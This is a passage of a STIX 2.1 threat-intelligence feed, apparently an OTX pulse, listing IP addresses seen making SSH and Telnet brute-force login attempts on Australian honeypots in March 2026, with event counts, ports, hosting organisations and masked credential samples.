      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135799. Organisation(s): Rapidnet Private Limited.",
      "id": "indicator--39d858bc-6ef2-4ba0-9295-267a5c448acc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.68.28.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:15:15.000Z",
      "valid_until": "2026-04-09T00:15:11.000Z"
    },
    {
      "created": "2026-03-08T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--80cf2c75-ed73-4fb1-aafd-6341d513fd99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.160.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:15:15.000Z",
      "valid_until": "2026-04-09T00:15:11.000Z"
    },
    {
      "created": "2026-03-08T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 43754. Organisation(s): Asiatech Data Transmission company. Usernames observed (masked): v*****r. Passwords observed (masked): ***.",
      "id": "indicator--699bef5a-bf7b-419a-8c61-4a10e6feef66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.111.234.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:15:15.000Z",
      "valid_until": "2026-04-09T00:15:11.000Z"
    },
    {
      "created": "2026-03-08T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--46dd907b-1d07-4527-a58b-251e61c7add2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.173.132.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:15:15.000Z",
      "valid_until": "2026-04-09T00:15:11.000Z"
    },
    {
      "created": "2026-03-08T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t. Passwords observed (masked): Q*******@.",
      "id": "indicator--06af22bc-037f-4f78-957c-45474f949a6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.253.251.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T00:15:15.000Z",
      "valid_until": "2026-04-09T00:15:11.000Z"
    },
    {
      "created": "2026-03-08T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 29596. Organisation(s): PSSK Sp. z o.o..",
      "id": "indicator--34f24d14-cdea-4783-aa14-4e5c65ab8dd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.127.15.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:15:13.000Z",
      "valid_until": "2026-04-09T01:15:11.000Z"
    },
    {
      "created": "2026-03-08T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA. Usernames observed (masked): x***i, 3**********4, a***********r, d*********t, ***. Passwords observed (masked): 1******8, 1***5, 3***********4, 3**********4, M******!.",
      "id": "indicator--be7fe2a8-e37b-40cf-bd16-bc0b5a2f88da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.216.246.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:15:13.000Z",
      "valid_until": "2026-04-09T01:15:11.000Z"
    },
    {
      "created": "2026-03-08T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): ***, 3**********4, d****l, **, e****e. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, 6******9.",
      "id": "indicator--3d12c358-3a35-4647-a6ce-8ab8d2520e5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.80.18.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:15:13.000Z",
      "valid_until": "2026-04-09T01:15:11.000Z"
    },
    {
      "created": "2026-03-08T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t***1, t***2, t***3. Passwords observed (masked): ***, ***, p**s, r*****3, r*****1.",
      "id": "indicator--090ad36d-8e70-4545-9529-634cf280d2fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.88.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:15:13.000Z",
      "valid_until": "2026-04-09T01:15:11.000Z"
    },
    {
      "created": "2026-03-08T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2518. Organisation(s): BIGLOBE Inc..",
      "id": "indicator--f22096e8-f04e-46d3-aff1-bb883544c591",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.171.56.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:15:13.000Z",
      "valid_until": "2026-04-09T01:15:11.000Z"
    },
    {
      "created": "2026-03-08T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, r**t, x***i, a***********r, d*********t. Passwords observed (masked): 1******8, 3***********4, 3**********4, 1***5, M******!.",
      "id": "indicator--c1607d97-ff38-4437-9f79-41bfdd6ac1e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.112.78.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:15:13.000Z",
      "valid_until": "2026-04-09T01:15:11.000Z"
    },
    {
      "created": "2026-03-08T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--08fa34a2-f183-406c-b5c2-576706fb2be2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.120.36.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T01:15:13.000Z",
      "valid_until": "2026-04-09T01:15:11.000Z"
    },
    {
      "created": "2026-03-08T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, k***a, k***m, k*****e. Passwords observed (masked): ***, 1***5, 1******0, 1**4, 2***..",
      "id": "indicator--0d1f0bbf-7446-4249-b905-147a8eae2963",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.157.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T02:15:13.000Z",
      "valid_until": "2026-04-09T02:15:12.000Z"
    },
    {
      "created": "2026-03-08T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--70de1269-faa6-49bd-8590-63f144c92e58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T02:15:13.000Z",
      "valid_until": "2026-04-09T02:15:12.000Z"
    },
    {
      "created": "2026-03-08T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24088. Organisation(s): Hanoi Telecom Joint Stock Company - HCMC Branch. Usernames observed (masked): 3**********4, m**a, u**r, a**r, **. Passwords observed (masked): 3***********4, 3**********4, 1******8, A********., A******!.",
      "id": "indicator--0b1390e6-f0e8-4c43-95ba-aa1d5aed2d2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.209.181.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T02:15:13.000Z",
      "valid_until": "2026-04-09T02:15:12.000Z"
    },
    {
      "created": "2026-03-08T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 42132. Organisation(s): Digit One LLC.",
      "id": "indicator--0c9cda72-8581-4740-a8b3-f19dad0f9388",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.41.44.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T02:15:13.000Z",
      "valid_until": "2026-04-09T02:15:12.000Z"
    },
    {
      "created": "2026-03-08T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8369. Organisation(s): Intersvyaz-2 JSC.",
      "id": "indicator--91f45cb1-3f5f-4a9d-9483-b8fefc3554a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.29.42.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T02:15:13.000Z",
      "valid_until": "2026-04-09T02:15:12.000Z"
    },
    {
      "created": "2026-03-08T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8434. Organisation(s): Telenor Sverige AB. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--fe8c5918-0fd8-4863-9527-4525e0e092fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.33.203.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T02:15:13.000Z",
      "valid_until": "2026-04-09T02:15:12.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): s******n. Passwords observed (masked): p******d.",
      "id": "indicator--8dd4105b-063b-4ab9-92cf-abd1b72081a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.139.164.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--513a108a-f982-4794-8cc3-521faa17e0c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.23.220.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--73961fba-8e23-43b8-b214-4137fa8cfac6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.85.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--45a2d070-0c69-42b3-b535-c68245d038c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.89.252.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--13c58946-dea9-4c74-9d89-271b32ae3423",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): v**x. Passwords observed (masked): V******!.",
      "id": "indicator--0a86f4f8-2930-48ec-a7cc-740581e67ac0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '76.79.213.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8615. Organisation(s): Central Telegraph Public Joint-stock Company.",
      "id": "indicator--0ff8123d-c188-4fe7-a6af-8006921f1251",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.165.23.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 1136. Organisation(s): KPN B.V..",
      "id": "indicator--d16a8261-939d-4124-989d-1474482b66b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.68.11.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T03:15:13.000Z",
      "valid_until": "2026-04-09T03:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Heralding. Target ports: 1080. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): a***n, ***, j**a, u**r. Passwords observed (masked): 1***5, 1*****7, 5***1, ***, j**a.",
      "id": "indicator--50fcdd6d-9e65-439d-91c6-99573da9b443",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, r**t.",
      "id": "indicator--bd070e8a-7aab-4dd4-b9b3-44aa73b3f514",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.172.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--5fcc1f9f-50bf-41b3-aeb9-a7acac2b0d4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.67.124.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--014e620b-eeed-4a35-b406-09f64e6e5046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.16.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c8ce7a9e-11d2-4642-9a4e-98d93c39112d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d10ac882-5034-4df3-b87f-a3d19570ad39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--6d35173f-f50c-4019-8ede-b8d644c3ae23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
      "valid_until": "2026-04-09T04:15:11.000Z"
    },
    {
      "created": "2026-03-08T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--9306d0af-a00e-4a54-8baa-91f519c6aae2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-08T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:15:13.000Z",
